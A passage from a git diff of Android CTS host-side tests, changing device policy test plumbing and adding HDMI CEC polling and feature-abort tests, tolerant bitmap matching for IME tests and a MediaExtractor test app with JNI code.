+ </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index 941662f..79622af 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -22,6 +22,7 @@
import android.app.admin.DevicePolicyManager;
import android.app.admin.UnsafeStateException;
+import android.content.ComponentName;
import android.util.Log;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -41,7 +42,7 @@
.getSimpleName();
private static final int[] OPERATIONS = new int[] {
- OPERATION_LOCK_NOW
+ OPERATION_LOCK_NOW,
};
private static final int[] OVERLOADED_OPERATIONS = new int[] {
@@ -51,24 +52,24 @@
/**
* Tests that all safety-aware operations are properly implemented.
*/
- public final void testAllOperations(DevicePolicyManager dpm) {
+ public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
Objects.requireNonNull(dpm);
List<String> failures = new ArrayList<>();
for (int operation : OPERATIONS) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
}
for (int operation : OVERLOADED_OPERATIONS) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
}
for (int operation : getSafetyAwareOperations()) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
}
for (int operation : getOverloadedSafetyAwareOperations()) {
- safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+ safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
}
if (!failures.isEmpty()) {
@@ -107,7 +108,7 @@
*
* <p>MUST be overridden if {@link #getSafetyAwareOperations()} is overridden as well.
*/
- protected void runOperation(DevicePolicyManager dpm, int operation,
+ protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
boolean overloaded) {
throwUnsupportedOperationException(operation, overloaded);
}
@@ -121,12 +122,12 @@
"Unsupported operation " + getOperationName(operation, overloaded));
}
- private void safeOperationTest(DevicePolicyManager dpm, List<String> failures, int operation,
- boolean overloaded) {
+ private void safeOperationTest(DevicePolicyManager dpm, ComponentName admin,
+ List<String> failures, int operation, boolean overloaded) {
String name = getOperationName(operation, overloaded);
try {
setOperationUnsafe(dpm, operation);
- runCommonOrSpecificOperation(dpm, operation, overloaded);
+ runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
Log.e(TAG, name + " didn't throw an UnsafeStateException");
failures.add(name);
} catch (UnsafeStateException e) {
@@ -142,8 +143,8 @@
return overloaded ? name + "(OVERLOADED)" : name;
}
- private void runCommonOrSpecificOperation(DevicePolicyManager dpm, int operation,
- boolean overloaded) {
+ private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
+ int operation, boolean overloaded) {
String name = getOperationName(operation, overloaded);
Log.v(TAG, "runOperation(): " + name);
switch (operation) {
@@ -155,7 +156,7 @@
}
break;
default:
- runOperation(dpm, operation, overloaded);
+ runOperation(dpm, admin, operation, overloaded);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 5c28d37..2360174 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -201,12 +201,20 @@
getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
mFixedUsers = new ArrayList<>();
- mPrimaryUserId = getPrimaryUser();
// Set the value of initial user ID calls in {@link #setUp}.
if(mSupportsMultiUser) {
mInitialUserId = getDevice().getCurrentUser();
}
+
+ if (!isHeadlessSystemUserMode()) {
+ mPrimaryUserId = getPrimaryUser();
+ } else {
+ // For headless system user, all tests will be executed on current user
+ // and therefore, initial user is set as primary user for test purpose.
+ mPrimaryUserId = mInitialUserId;
+ }
+
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != USER_SYSTEM) {
mFixedUsers.add(USER_SYSTEM);
@@ -225,7 +233,9 @@
getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
removeOwners();
- switchUser(USER_SYSTEM);
+
+ switchUser(mPrimaryUserId);
+
removeTestUsers();
// Unlock keyguard before test
wakeupAndDismissKeyguard();
@@ -1036,6 +1046,13 @@
return "true".equalsIgnoreCase(result);
}
+ // TODO (b/174775905) remove after exposing the check from ITestDevice.
+ boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+ final String result = getDevice()
+ .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+ return "true".equalsIgnoreCase(result);
+ }
+
void pushUpdateFileToDevice(String fileName)
throws IOException, DeviceNotAvailableException {
File file = File.createTempFile(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index b1db61d..c535038 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -36,6 +36,7 @@
import com.google.common.collect.ImmutableMap;
+import org.junit.Ignore;
import org.junit.Test;
import java.io.File;
@@ -146,6 +147,10 @@
= "com.android.cts.devicepolicy.meteredtestapp";
private static final String METERED_DATA_APP_APK = "CtsMeteredDataTestApp.apk";
+ // For testing key pair grants since they are per-uid
+ private static final String SHARED_UID_APP1_APK = "SharedUidApp1.apk";
+ private static final String SHARED_UID_APP2_APK = "SharedUidApp2.apk";
+
private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
= "enabled_notification_policy_access_packages";
@@ -1151,6 +1156,7 @@
}
@FlakyTest(bugId = 132226089)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTask() throws Exception {
if (!mHasFeature) {
@@ -1203,6 +1209,7 @@
@LargeTest
@Test
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
if (!mHasFeature) {
return;
@@ -1234,6 +1241,7 @@
}
@Test
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
public void testLockTask_defaultDialer() throws Exception {
if (!mHasFeature || !mHasTelephony || !mHasConnectionService) {
return;
@@ -1589,6 +1597,9 @@
return;
}
+ installAppAsUser(SHARED_UID_APP1_APK, mUserId);
+ installAppAsUser(SHARED_UID_APP2_APK, mUserId);
+
executeDeviceTestClass(".KeyManagementTest");
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 2686de2..fcf2ce9 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -137,6 +137,9 @@
@Test
public void testDeviceOwnerSetup() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
executeDeviceOwnerTest("DeviceOwnerSetupTest");
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index de168cd..94a76f8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -31,11 +31,6 @@
import org.junit.Ignore;
import org.junit.Test;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
@@ -101,6 +96,7 @@
}
@FlakyTest(bugId = 127270520)
+ @Ignore("Ignored while migrating to new infrastructure b/175377361")
@Test
public void testLockTask_affiliatedSecondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 1e98316..635cf15 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -65,6 +65,9 @@
@Before
public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec14(device);
+
if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
new file mode 100644
index 0000000..6ecd5e3
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.CecVersionHelper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC tests related to {@code <Feature Abort>} */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
+
+ private static final int TIMEOUT_SHORT_MILLIS = 1000;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test HF4-2-11
+ * Verify {@code <Feature Abort} message does not result in a {@code <Feature Abort>} response.
+ */
+ @Test
+ public void cect_hf4_2_11_featureAbortBehavior() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec20(device);
+
+ List<Integer> abortReasons = Arrays.asList(
+ HdmiCecConstants.ABORT_UNRECOGNIZED_MODE,
+ HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE,
+ HdmiCecConstants.ABORT_CANNOT_PROVIDE_SOURCE,
+ HdmiCecConstants.ABORT_INVALID_OPERAND,
+ HdmiCecConstants.ABORT_REFUSED,
+ HdmiCecConstants.ABORT_UNABLE_TO_DETERMINE);
+
+ for (Integer abortReason : abortReasons) {
+ hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, mDutLogicalAddress,
+ CecOperand.FEATURE_ABORT, CecMessage.formatParams(abortReason));
+
+ hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.RECORDER_1,
+ CecOperand.FEATURE_ABORT, TIMEOUT_SHORT_MILLIS);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
new file mode 100644
index 0000000..1d4a389
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+import android.hdmicec.cts.CecVersionHelper;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC tests related to polling */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test 11.2.6-1
+ * Tests for Ack {@code <Polling Message>} message.
+ */
+ @Test
+ public void cect_11_2_6_1_Ack() throws Exception {
+ String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
+ }
+ }
+
+ /**
+ * Test HF4-2-10
+ * Verify {@code <Polling Message>} message is acknowledged in all states.
+ *
+ * Explicitly changes that polling messages are handled in standby power states.
+ */
+ @Test
+ public void cect_hf4_2_10_Ack() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec20(device);
+
+ device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+
+ String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+ String expectedOutput = "POLL sent";
+ hdmiCecClient.sendConsoleMessage(command);
+ if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+ throw new Exception("Could not find " + expectedOutput);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index c8868a8..934a1d3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -21,7 +21,6 @@
import static com.google.common.truth.Truth.assertThat;
import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
import android.hdmicec.cts.CecMessage;
import android.hdmicec.cts.CecOperand;
import android.hdmicec.cts.CecVersionHelper;
@@ -47,20 +46,6 @@
.around(hdmiCecClient);
/**
- * Test 11.2.6-1
- * Tests for Ack {@code <Polling Message>} message.
- */
- @Test
- public void cect_11_2_6_1_Ack() throws Exception {
- String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
- String expectedOutput = "POLL sent";
- hdmiCecClient.sendConsoleMessage(command);
- if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
- throw new Exception("Could not find " + expectedOutput);
- }
- }
-
- /**
* Test 11.2.6-2
* Tests that the device sends a {@code <Report Physical Address>} in response to a
* {@code <Give Physical Address>}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
index 9edd60c..34b3add 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
@@ -17,6 +17,7 @@
package android.inputmethodservice.cts.ime;
import android.graphics.Bitmap;
+import android.graphics.Color;
import androidx.annotation.AnyThread;
import androidx.annotation.ColorInt;
@@ -26,6 +27,13 @@
* A utility class that represents A8R8G8B bitmap as an integer array.
*/
final class BitmapImage {
+ /**
+ * Tolerance level between the expected color and the actual color in each color channel.
+ *
+ * <p>See Bug 174534092 about why we ended up having this.</p>
+ */
+ private static final int TOLERANCE = 4;
+
@NonNull
private final int[] mPixels;
private final int mWidth;
@@ -91,7 +99,22 @@
}
/**
- * Checks if the same image can be found in the specified {@link BitmapImage}
+ * Compares two given pixels to determine whether those two pixels are considered to be
+ * the same within {@link #TOLERANCE}.
+ *
+ * @param lhs a color integer to be compared.
+ * @param rhs another color integer to be compared.
+ * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+ */
+ private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+ return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+ && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+ && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+ }
+
+ /**
+ * Checks if the same image can be found in the specified {@link BitmapImage} within a certain
+ * error margin.
*
* @param targetImage {@link BitmapImage} to be checked.
* @param offsetX X offset in the {@code targetImage} used when comparing.
@@ -99,7 +122,7 @@
* @return
*/
@AnyThread
- boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+ boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
final int targetWidth = targetImage.getWidth();
final int targetHeight = targetImage.getHeight();
@@ -113,7 +136,7 @@
if (targetY < 0 || targetHeight <= targetY) {
return false;
}
- if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+ if (!robustMatchInternal(targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
return false;
}
}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
index e3fd024..5d0cb0c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
@@ -204,7 +204,7 @@
// Search from the bottom line with an assumption that the IME is shown at the bottom.
for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
- if (mImage.match(targetImage, offsetX, offsetY)) {
+ if (mImage.robustMatch(targetImage, offsetX, offsetY)) {
return true;
}
}
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8d6b291e..eab19a0 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -4,3 +4,7 @@
marcone@google.com
sungsoo@google.com
jaewan@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsMediaHostTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..8eab97e
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,55 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsMediaExtractorHostTestApp",
+ defaults: ["cts_defaults"],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+ static_libs: [
+ "androidx.test.ext.junit",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ ],
+ compile_multilib: "both",
+ sdk_version: "test_current",
+}
+
+cc_test_library {
+ name: "libCtsMediaExtractorHostTestAppJni",
+ srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+ shared_libs: [
+ "liblog",
+ "libmediandk",
+ "libandroid",
+ "libnativehelper_compat_libc++",
+ ],
+ header_libs: ["liblog_headers"],
+ include_dirs: [
+ "frameworks/av/media/ndk/include/media",
+ ],
+ stl: "libc++_static",
+ cflags: [
+ "-Werror",
+ "-Wall",
+ ],
+ gtest: false,
+ sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.media.cts">
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.media.cts"
+ android:label="Device test app for MediaExtractor host side tests.">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+ JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+ ScopedUtfChars scopedPath(env, assetPath);
+
+ AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+ AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+ off_t start;
+ off_t length;
+ int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+ auto mediaExtractorTask = [=]() {
+ AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+ AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+ AMediaExtractor_delete(mediaExtractor);
+ };
+
+ if (withAttachedJvm) {
+ // The currently running thread is a Java thread so it has an attached JVM.
+ mediaExtractorTask();
+ } else {
+ // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+ // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+ // new thread, and immediately join its execution so as to wait for its completion.
+ std::thread(mediaExtractorTask).join();
+ }
+ // TODO: Make resource management automatic through scoped handles.
+ close(fd);
+ AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+ static {
+ System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+ }
+
+ private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+ private AssetManager mAssetManager;
+
+ @Before
+ public void setUp() {
+ mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ }
+
+ @Test
+ public void testEntryPointSdk() throws Exception {
+ MediaExtractor mediaExtractor = new MediaExtractor();
+ AssetManager assetManager =
+ InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+ try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+ mediaExtractor.setDataSource(fileDescriptor);
+ }
+ mediaExtractor.release();
+ }
+
+ @Test
+ public void testEntryPointNdkNoJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+ }
+
+ @Test
+ public void testEntryPointNdkWithJvm() {
+ extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+ }
+
+ private native void extractUsingNdkMediaExtractor(
+ AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
